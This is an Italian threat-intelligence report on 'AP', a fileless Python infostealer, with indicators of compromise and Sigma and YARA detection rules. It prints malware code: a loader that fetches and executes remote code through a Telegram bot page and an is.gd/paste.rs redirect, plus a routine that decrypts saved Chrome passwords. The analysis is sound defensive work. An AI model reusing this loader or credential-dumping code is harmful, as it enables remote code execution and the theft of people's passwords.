
Agostino Pellegrino : 26 Giugno 2025 15:12
TLP: AMBER
Analista: Agostino Pellegrino, Crescenzo Cuoppolo, Alessio Bandini
Data ultima revisione: 2025-06-24
Questo report tecnico forense documenta l’analisi completa di un infostealer multi-stadio veicolato tramite un loader fileless in Python, identificato con la sigla “AP”. L’intera catena di infezione è eseguita in memoria e sfrutta servizi legittimi pubblici (Telegram, is.gd, paste.rs) per evitare la rilevazione e semplificare l’aggiornamento remoto del payload.
Il file iniziale, denominato Photos, contiene un dropper che esegue dinamicamente un secondo stadio offuscato, il quale a sua volta decodifica ed esegue in memoria un infostealer capace di esfiltrare informazioni sensibili da browser Chromium.
Christmas Sale -40% 𝗖𝗵𝗿𝗶𝘀𝘁𝗺𝗮𝘀 𝗦𝗮𝗹𝗲! Sconto del 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮 del Corso "Dark Web & Cyber Threat Intelligence" in modalità E-Learning sulla nostra Academy!🚀
Fino al 𝟯𝟭 𝗱𝗶 𝗗𝗶𝗰𝗲𝗺𝗯𝗿𝗲, prezzi pazzi alla Red Hot Cyber Academy. 𝗧𝘂𝘁𝘁𝗶 𝗶 𝗰𝗼𝗿𝘀𝗶 𝘀𝗰𝗼𝗻𝘁𝗮𝘁𝗶 𝗱𝗲𝗹 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮.
Per beneficiare della promo sconto Christmas Sale, scrivici ad [email protected] o contattaci su Whatsapp al numero di telefono: 379 163 8765.
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Il file Photos contiene codice Base64 offuscato:
___________ = 'ADN_UZJomrp3vPMujoH4bot'; exec(__import__('base64').b64decode('...'))
Decodifica del codice:
import requests, re
exec(
requests.get(
requests.head(
f'https://is.gd/{match.group(1)}', allow_redirects=True
).url
).text
)
if (
match := re.search(
r'<meta property="og:description" content="([^"]+)",
requests.get('https://t.me/ADN_UZJomrp3vPMujoH4bot').text
)
) else None
Funzionamento:
Contenuto scaricato da https://paste.rs/fVmzS. Esegue la seguente catena:
exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c$|c~*|PFlk|y|1XNVIgA|vOF$g0Ys7>c3D)_@p{S!e)(1e%eo3lNe(LIXmGNenkpZCz$<ebH}_d0B7KPtXtWzd^o2U$yo=Cn~bSth+a+<*uc*mX^DJ?#rEx{^3vlz9d&KxsLwF4<C#V#z*&q`V;-Aetf5&)KBm9v-<g+eo?=?({I#o-s!jMx9{{j^}Bcaz54w-{e}9Aclv|+!#n+@`pb9vqx$1J{gwKwgnn{=?fsehXCL3*`Pu#C{YL%GJO9P~bMG"))))
Dopo b85 → zlib → marshal, è necessario un ulteriore passaggio:
decoded = bytearray([b ^ 0x04 for b in payload_bytes])
Il risultato è un bytecode deoffuscato eseguibile direttamente in memoria:
import os, shutil, zipfile, sqlite3
from Cryptodome.Cipher import AES
import win32crypt
import json
import base64
# Estrazione dati da Chromium (semplificato)
def get_chrome_data():
local_state_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Local State"
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.loads(f.read())
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
login_data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
shutil.copy2(login_data_path, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
login_url = row[0]
username = row[1]
password = win32crypt.CryptUnprotectData(row[2])[1].decode()
print(f"URL: {login_url}\nUsername: {username}\nPassword: {password}\n")
cursor.close()
conn.close()
os.remove("Loginvault.db")
get_chrome_data()
Il codice risultante:
| Tipo | Valore |
| SHA256 (Photos) | 06a882d2b7e17a84d2707b2a2a5a27b0b18dc6cf503a694295bfcd6fe98a3a39 |
| Telegram | https://t.me/ADN_UZJomrp3vPMujoH4bot |
| is.gd | https://is.gd/fVmzS → https://paste.rs/fVmzS |
title: Python Fileless Loader via Telegram and is.gd
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\python.exe'
CommandLine|contains:
- requests.get(
- exec(
- t.me/
- is.gd/
condition: selection
level: high
description: Rileva dropper Python fileless con payload remote
rule Fileless_Telegram_Loader {
meta:
description = "Rileva loader fileless basato su Telegram + is.gd"
author = "Agostino Pellegrino (apinfosec.com)"
version = "1.1"
date = "2025-06-24"
strings:
$a = "exec(requests.get(" ascii
$b = "https://t.me/" ascii
$c = "https://is.gd/" ascii
$d = "og:description" ascii
condition:
all of them and filesize < 500KB
}
L’analisi tecnica condotta ha evidenziato l’elevato livello di sofisticazione dell’infostealer “AP”, capace di operare completamente in memoria, eludendo gran parte dei meccanismi di rilevamento tradizionali. La catena d’infezione multi-stadio utilizza un dropper fileless scritto in Python e sfrutta servizi pubblici legittimi — come Telegram, is.gd e paste.rs — per veicolare, aggiornare e rendere dinamico il payload finale.
Il secondo stadio, fortemente offuscato, culmina nell’esecuzione di un infostealer con capacità avanzate di esfiltrazione dati da browser Chromium-based, comprese credenziali salvate, cookie, cronologia e informazioni sensibili.
L’uso creativo e malevolo di meccanismi comuni (come i meta tag HTML, URL accorciati e servizi di messaggistica) rende questa minaccia particolarmente insidiosa, dimostrando una crescente tendenza all’abuso di infrastrutture legittime per finalità illecite.
Le tecniche MITRE ATT&CK individuate confermano il comportamento stealth e modulare del malware. L’adozione di meccanismi di rilevazione specifici, come regole Sigma e YARA personalizzate, è fondamentale per mitigare efficacemente questa minaccia. Inoltre, l’implementazione di policy restrittive e il monitoraggio continuo degli ambienti Python non gestiti rappresentano misure difensive prioritarie.
Questo caso studio rappresenta un chiaro esempio dell’evoluzione dei moderni infostealer verso architetture completamente fileless, con capacità di persistenza e aggiornamento che richiedono una risposta difensiva altrettanto dinamica e proattiva.
Seguici su Google News, LinkedIn, Facebook e Instagram per ricevere aggiornamenti quotidiani sulla sicurezza informatica. Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.
Agostino Pellegrino
Il MITRE ha reso pubblica la classifica delle 25 più pericolose debolezze software previste per il 2025, secondo i dati raccolti attraverso le vulnerabilità del national Vulnerability Database. Tali...

Un recente resoconto del gruppo Google Threat Intelligence (GTIG) illustra gli esiti disordinati della diffusione di informazioni, mettendo in luce come gli avversari più esperti abbiano già preso p...

All’interno del noto Dark Forum, l’utente identificato come “espansive” ha messo in vendita quello che descrive come l’accesso al pannello di amministrazione dell’Agenzia delle Entrate. Tu...

In seguito alla scoperta di due vulnerabilità zero-day estremamente critiche nel motore del browser WebKit, Apple ha pubblicato urgentemente degli aggiornamenti di sicurezza per gli utenti di iPhone ...

La recente edizione 2025.4 di Kali Linux è stata messa a disposizione del pubblico, introducendo significative migliorie per quanto riguarda gli ambienti desktop GNOME, KDE e Xfce. D’ora in poi, Wa...